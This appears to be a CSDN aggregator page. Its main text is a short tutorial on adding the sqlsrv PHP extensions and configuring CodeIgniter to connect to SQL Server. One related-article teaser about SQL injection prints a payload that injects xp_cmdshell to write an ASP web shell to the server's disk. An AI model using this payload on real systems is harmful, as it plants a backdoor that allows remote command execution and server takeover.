c使用sql server專題及常見問題 - CSDN

2021-01-08 CSDN技術社區

1. 為php添加 sqlsrv 擴展

去微軟官網 https://www.microsoft.com/en-us/download/ 搜索php ,

點擊 Microsoft Drivers for PHP for SQL Server 

下載最新版的 sqlsrvXX.exe( 我下載的是SQLSRV32.EXE )

運行解壓, 得到一堆DLL, 選取適合自己php版本的dll, 放到php\ext\目錄下; 

在php.ini 增加並增加以下擴展(必須的):

extension=php_odbc.dll
extension=php_pdo_odbc.dll
extension=php_pdo_sqlsrv_7_nts_x86.dll
extension=php_sqlsrv_7_nts_x86.dll
client_buffer_max_kb_size = '102400'
sqlsrv.ClientBufferMaxKBSize = 102400

重啟服務, 查看phpinfo(), 如果有sqlsrv項, 證明擴展以安裝成功.

又因為 SQLSRV3.X.EXE 需要額外的驅動 Microsoft ODBC Driver 11 (或更高版本), 所以需要安裝 Microsoft ODBC Driver 11

訪問 https://msdn.microsoft.com/en-us/library/cc296170%28v=sql.105%29.aspx

找到這段話 

Versions 3.2 and 3.1 require Microsoft ODBC Driver 11 (or higher) for SQL Server. To download the Microsoft ODBC Driver 11 for PHP for SQL Server, see Microsoft ODBC Driver 11 for SQL Server.

點擊 Microsoft ODBC Driver 11 for SQL Server.

 

2. CI框架連接SQLserver 200R2

首先,你必須修改讓你的SQLserver 允許使用ip連接!!!  這步至關重要!

其次, 那就是配置CI框架的config/database.php文件了

如下操作:

$db['default'] = [ 'dsn' => '', 'hostname' => '192.168.1.110,1433', //埠號可寫可不寫 'username' => '用戶名,一般默認是sa', 'password' => '用戶密碼', 'database' => '資料庫名稱', 'dbdriver' => 'sqlsrv', 'dbprefix' => '', 'pconnect' => FALSE, 'db_debug' => (ENVIRONMENT !== 'production'), 'cache_on' => FALSE, 'cachedir' => '', 'char_set' => 'utf8', 'dbcollat' => 'utf8_general_ci', 'swap_pre' => '', 'encrypt' => FALSE, 'compress' => FALSE, 'stricton' => FALSE, 'failover' => array(), 'save_queries' => TRUE];

歐了......希望有用啊.....
 

相關焦點

  • server sql 作業 使用專題及常見問題 - CSDN
    use masterGO/* --開啟sql server代理sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Agent XPs', 1; GO RECONFIGURE GO*/--定義創建作業
  • SQL Server 首次登陸 Linux 平臺
    更多細節,見 SQL Server 官方:https://www.microsoft.com/en-us/sql-server/sql-server-2017參考:VentureBeta、SQL Server看完本文有收穫?
  • mysql 矩陣類型專題及常見問題 - CSDN
    您可以使用多列來定義主鍵,列間以逗號分隔。ENGINE 設置存儲引擎,CHARSET 設置編碼。修改數據alter table 表名 drop i;alter table 表名 add i tnt first;alter table 表名 drop i;alter table 表名 add i tnt after c;
  • 卡方檢驗結果分析專題及常見問題 - CSDN
    簡單統計之後,得到總數和死亡率:R語言chisq.test()在R語言中進行卡方檢驗還是十分方便的,只需要使用chisq.test即可實現,可以返回卡方值和對應的p值,同時還可以計算自由度。但是其對數據集的格式有一定的要求,如圖所示為實際的操作步驟:>治癒<-c(231,298)>死亡<-c(97,41)>data<-data.frame(治癒,死亡,row.names = c("未服藥組","服藥組"))>chisq.test(data) Pearson's Chi-squared test with Yates' continuity
  • python 卡方專題及常見問題 - CSDN
    其根本思想就是在於比較理論頻數和實際頻數的吻合程度或擬合優度問題。(更多參考:卡方檢驗、卡方分布) 不講過多理論,主要使用 python 實現卡方驗證。之前對於元素/特徵/屬性 異常值的選擇情況,可以使用直方圖、箱型圖、Z分數法等篩選。
  • cdn邊緣計算專題及常見問題 - CSDN
    您必須說,速度足夠快,而且我從未遇到任何問題! 你猜怎麼了? 他們已經在網絡中處於邊緣並且離您更近了,簡而言之,他們正在使用Content Delivery Network(CDN )。 CDN如何運作? (How does CDN work?)
  • python卡方分析專題及常見問題 - CSDN
    其根本思想就是在於比較理論頻數和實際頻數的吻合程度或擬合優度問題。(更多參考:卡方檢驗、卡方分布) 不講過多理論,主要使用 python 實現卡方驗證。之前對於元素/特徵/屬性 異常值的選擇情況,可以使用直方圖、箱型圖、Z分數法等篩選。
  • 最詳細的SQL注入相關的命令整理
    keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--?
  • 這個函數讓SQL效率提升99%
    可以在單個查詢中將多個排名或聚合窗口函數與單個 FROM 子句一起使用。窗口函數是整個SQL語句最後被執行的部分,這意味著窗口函數是在SQL查詢的結果集上進行的, 因此不會受到Group By, Having,Where子句的影響。
  • SQL Server 2016新亮點全揭秘
    Hybrid Cloud Features  我們都知道, SQL Server 2016提供了Stretch Database功能,Stretch Database提供了把內部部署資料庫擴展到Azure SQL 資料庫的途徑,它支持資料庫將將使用頻率較高的數據存儲在本地,使用頻率低的數據存儲在Azure Cloud。
  • 微軟 SQL Server 2016 SP1 發布
    克隆資料庫並不意味著在生產環境中使用。要查看是否已從調用clonedatabase生成資料庫,可以使用以下命令,選擇DATABASEPROPERTYEX('clonedb','isClone')。 返回值1為真,0為假。
  • Ubuntu下adb的使用及常見問題處理
    說明:1、展訊的設備號是1782,MTK的設備號是0e8d,高通660的設備號是056c,其他平臺的可查找確認後,填寫到這裡。2、如果沒有/etc/udev/rules.d/51-android.rules 文件,需要自己創建一下。
  • SQL Server2008中的9種數據挖掘算法淺析
    從樹的根結點出發,將測試條件用於檢驗記錄,根據測試結果選擇適當的分支,沿著該分支或者達到另一個內部結點,使用新的測試條件或者達到一個葉結點,葉結點的類稱號就被賦值給該檢驗記錄。決策樹的每個分支要麼是一個新的決策節點,要麼是樹的結尾,稱為葉子。在沿著決策樹從上到下遍歷的過程中,在每個節點都會遇到一個問題,對每個節點上問題的不同回答導致不同的分支,最後會到達一個葉子節點。
  • a標籤 href vue專題及常見問題 - CSDN
    1.標籤 {{el.tourism_name}} {{el.tog_line_id}} {{el.addre設置vm堆大小以及,配置遠程監控參數 設置遠程埠為8999,不需要用戶名密碼驗證,初始化堆內存為64M.最大堆內存為128M.新生代為20M,Survivor區與Eden區內存為2:8 java -Djava.rmi.server.hostname
  • Php常見問題總結
    (站長書庫)精彩30問,網羅常見PHP問題,希望大家細心查看。1:為什麼我得不到變量我在一網頁向另一網頁POST數據name,為什麼輸出$name時卻得不到任何值?解決方法:(1)在c盤建立文件夾tmp(2)打開php.ini,找到session.save_path,修改為session.save_path= "c:/tmp"#p#Php部分常見問題總結(二)#e#4:為什麼我向另一網頁傳送變量時,只得到前半部分,以空格開頭的則全部丟失
  • t值判斷顯著性專題及常見問題 - CSDN
    提出問題  顯著性值p是一個很常見的事。比如我們在對比兩組或者是多組數據時,對於兩組而言,會做Two Sample T Test,然後給出一個p值,判斷兩者差異的顯著性。在ggplot2中,兩組數據對比時,我們常用的,就是boxplot,那麼,如何在作出兩組或者多組的boxplot的同時,標記出顯著性的數據呢?
  • SQL SERVER 2016圖文安裝詳解,附處理安裝中遇到的問題
    在Windows Server 2016作業系統和Windows 10的系統中可以使用滑鼠的右鍵點擊ISO文件,選擇「裝載」2.此時的ISO文件就會裝載為一個虛擬光碟,打開該虛擬光碟,點擊運行setup開始進行SQL SERVER 2016的安裝。3.在出現的SQL server安裝中心的界面當中,點擊「全新SQL SERVER獨立安裝或向現有安裝添加功能」。
  • R+SQL Server的大數據管理
    這是大數據的問題嗎?怎麼那麼不小心就被我碰上了?今天我們就談談「大數據」這個老話題。自2012年以來,大數據(Big Data)已經上過《紐約時報》《華爾街日報》的專欄封面,進入美國白宮官網的新聞,在國內更是被炒得熱火朝天,網際網路、工商業、高校等都紛紛進行探索討論。大數據戰略甚至成為了我們國家「十三五」十四大戰略之一。
  • python浮點數表示專題及常見問題 - CSDN
    print(a.as_integer_ratio())print(b.as_integer_ratio())print(a == b)(1351079888211149, 4503599627370496)(5404319552844595, 18014398509481984)False為了解決運算中的問題
  • 如何寫一個vue組件專題及常見問題 - CSDN
    如何使用vue寫一個組件庫新建vue項目使用vue-cli初始化一個項目:vue init webpack VueComponentcd VueComponentnpm installnpm run dev以上就新建好了一個vue項目項目目錄首先,定義好目錄,經過觀察大多數的組件庫,基本是這樣的目錄